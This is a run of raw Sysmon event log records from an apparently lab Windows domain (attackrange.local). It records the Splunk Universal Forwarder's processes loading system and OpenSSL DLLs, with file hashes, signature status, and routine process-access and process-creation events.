Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000052671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.332{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.093{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5FC79E7C4357D264926E065E74F0C2AD,SHA256=505CF607C4E169D12A9687D8341D877D8B40B12874B05795DDE683ED327E2A02,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016869Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:20.553{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=285F1C9D8BE8E71BC53B1C8ED2036652,SHA256=BFF4D5781B090C19224558CABFC785902F861A66E3A5758D51B05FA4F62E8190,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.995{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=42D49CC83D6EB597992C75EEDF2B90CE,SHA256=3B09D2E38A2753C51C177A8631B5D5FF45227A8246E08573FFC46E059050B3DA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.894{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000052820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.894{7BD73061-7340-613B-750B-00000000F001}18441660C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.894{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.894{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000052817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.694{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.694{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.694{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 